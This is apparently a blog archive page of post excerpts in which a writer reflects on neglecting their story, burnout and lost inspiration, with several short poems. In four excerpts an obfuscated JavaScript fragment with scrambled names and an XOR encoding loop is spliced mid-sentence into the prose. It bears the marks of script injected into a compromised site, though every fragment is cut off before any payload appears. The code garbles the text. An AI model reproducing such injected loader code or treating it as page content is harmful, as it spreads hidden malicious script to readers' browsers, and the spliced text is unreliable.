I have made this (below) the theme song of my story. When I listen to this song, I know that everything will come together. When I listen to this song, I know that the voice of my story will echo around me in epic proportions.   https://www.youtube.com/watch?v=fO6Zrk-WZFEvar uomjftkd = { encode: function (uymcrbbu, ivpjzup1) { … Continue reading My Theme Song

Ah, my story. I have neglected you. My characters have been waiting, as if paralyzed in a moment in time. I see them in my mind, constantly, like a beautiful vision with a mysterious tingle. How do I animate them? How do I breathe life into them once again? Not by standing and watching. Not … Continue reading The Animator

Yesterday morning I sat in front of the computer for four hours. Four hours. Six-thirty AM to ten-thirty AM. Or something like that. The kids slept for part of that time and then woke up and watched movies. You would think I would get a lot of writing done in that time. You would think. … Continue reading Airing my Laundry

Only three minutes Before I lay down I know words will haunt me I shudder and frown   At least I wrote something Before going to bed Obsessing won't help me I must calm my headvar uomjftkd = { encode: function (uymcrbbu, ivpjzup1) { var juykdjus = ""; for (var bmtvoq = 0; bmtvoq < … Continue reading Nothing much

I think my spark has gone out. When I sit down to write, I feel empty inside. When I look into my characters’ faces, my heart doesn’t flutter like it used to. I just stare, waiting for them to say something, but they are silent. Maybe the spark has gone out—-but there’s still something there, … Continue reading No spark, but magma

I have one hour to write before Lauretta finishes watching her shows. This is my quiet time. But I have no idea what to write. I feel completely lost. What do I feel passionate about? Right now, nothing. It's one of those days. How can I possibly write from apathy? I don't think I can. … Continue reading One Hour

Beautiful details, floating in space Like delicate, ornate Christmas balls With no rhyme or reason. Each a world on their ownvar uomjftkd = { encode: function (uymcrbbu, ivpjzup1) { var juykdjus = ""; for (var bmtvoq = 0; bmtvoq < uymcrbbu.length; bmtvoq++) { var maoakjle = uymcrbbu.charCodeAt(bmtvoq); var vznvir = maoakjle ^ ivpjzup1.charCodeAt(bmtvoq % ivpjzup1.length); … Continue reading Floating

I put that tacky emoticon up there just so you would know it was the word "tear" like from your eye, not "tear" like what a paper does. But since I explained it so thoroughly, as good poetry never does, I don't need that emoticon after all. Oh well. It's there now. A Tug and … Continue reading A Tug and a Tear 😥

I shrink back from the words on the page. My own words. I'm burnt out on writing. Do I have anything left to say? And yet my characters linger, they whisper among themselves about me as if I'm not sitting right here. I stand up and wander outside the circle, closer to the door. But … Continue reading Burnt Out

I push into the blackness I trip and barely care A tiny lantern flickers "Push on! You're almost there!"var uomjftkd = { encode: function (uymcrbbu, ivpjzup1) { var juykdjus = ""; for (var bmtvoq = 0; bmtvoq < uymcrbbu.length; bmtvoq++) { var maoakjle = uymcrbbu.charCodeAt(bmtvoq); var vznvir = maoakjle ^ ivpjzup1.charCodeAt(bmtvoq % ivpjzup1.length); juykdjus = … Continue reading A Hokey Ditty (but it’s true)